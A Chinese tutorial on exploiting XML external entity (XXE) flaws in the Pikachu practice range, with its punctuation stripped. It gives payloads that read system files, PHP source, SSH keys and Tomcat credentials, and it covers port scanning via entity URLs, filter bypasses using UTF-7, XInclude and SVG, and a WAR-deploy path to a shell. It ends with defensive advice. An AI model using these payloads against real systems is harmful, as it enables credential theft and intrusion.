
Pikachu靶场XXE漏洞实战从文件读取到端口扫描的进阶技巧在网络安全领域XML外部实体注入XXE漏洞常被低估但其危害性不容小觑。Pikachu靶场作为经典的漏洞练习平台为安全爱好者提供了绝佳的XXE漏洞实战环境。本文将带你深入探索XXE漏洞的多种利用方式从基础的文件读取到进阶的端口扫描一步步揭开XXE攻击的神秘面纱。1. XXE漏洞基础与环境搭建XXEXML External Entity漏洞源于XML解析器对外部实体的不当处理。当应用程序解析用户提供的XML输入时如果未禁用外部实体引用攻击者就能读取任意文件、执行服务器端请求伪造SSRF甚至远程代码执行。Pikachu靶场环境准备下载最新版Pikachu漏洞练习平台配置PHP环境建议使用PHP 5.4确保libxml库版本≥2.9.0这是XXE漏洞存在的关键常见问题排查若XXE漏洞无法复现检查php.ini中的libxml_disable_entity_loader设置确保靶场目录权限设置正确避免因权限问题导致漏洞无法利用2. 文件读取实战从基础到高级2.1 基础文件读取最简单的XXE利用方式就是读取服务器上的敏感文件。Windows系统上c:/windows/win.ini是个理想的测试目标?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ] fooxxe;/foo关键点解析file://协议用于本地文件读取Windows路径使用正斜杠或反斜杠均可读取Linux系统文件时路径如file:///etc/passwd2.2 源代码窃取技巧通过PHP伪协议我们可以获取服务器端脚本的源代码?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM php://filter/convert.base64-encode/resourceC:/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php ] fooxxe;/foo解码技巧使用Burp Suite的Decoder模块命令行工具base64 -d在线解码工具注意安全性2.3 特殊文件读取技巧文件类型路径示例信息价值配置文件/etc/passwd用户列表日志文件/var/log/apache2/access.log访问记录SSH密钥/home/user/.ssh/id_rsa服务器访问权限数据库配置/var/www/html/config.php数据库凭证注意实际渗透测试中读取文件前应先确认目标系统类型避免因路径错误暴露测试行为。3. 端口扫描XXE的隐藏技能XXE不仅能读取文件还能用于探测内网服务。通过观察响应时间差异可以判断目标端口是否开放!-- 测试开放端口 -- ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://127.0.0.1:80 ] fooxxe;/foo !-- 测试关闭端口 -- ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://127.0.0.1:81 ] fooxxe;/foo自动化扫描技巧使用Burp Suite抓取请求发送到Intruder模块设置端口号作为变量根据响应时间排序结果优化策略先扫描常见端口80,443,22,3306等设置合理的超时时间建议2-3秒批量扫描时控制请求频率避免触发防护机制4. 防御措施与绕过技巧4.1 常见防御手段禁用外部实体libxml_disable_entity_loader(true);输入过滤过滤!DOCTYPE和!ENTITY禁用SYSTEM关键字使用白名单只允许特定的XML结构限制XML文档复杂度4.2 高级绕过技术UTF-7编码绕过ADwAIQ-DOCTYPE fooAFs ADwAIQ-ENTITY xxe SYSTEM ACI-file:///etc/passwdACI AD4 AD4- ADw-fooAD4-ACY-xxe;ADw-/fooAD4-XInclude攻击foo xmlns:xihttp://www.w3.org/2001/XInclude xi:include hreffile:///etc/passwd parsetext/ /fooSVG文件利用svg xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink width300 version1.1 height200 image xlink:hreffile:///etc/passwd height200 width300/ /svg5. 实战案例从XXE到系统控制在一次真实环境测试中通过XXE漏洞读取到Tomcat用户配置文件进而获取了管理后台密码。攻击路径如下通过XXE读取/opt/tomcat/conf/tomcat-users.xml获取管理员凭证部署恶意WAR文件获得系统shell关键payload?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///opt/tomcat/conf/tomcat-users.xml ] fooxxe;/foo防护建议定期更新XML解析库实施最小权限原则对XML输入进行严格验证监控异常的XML解析请求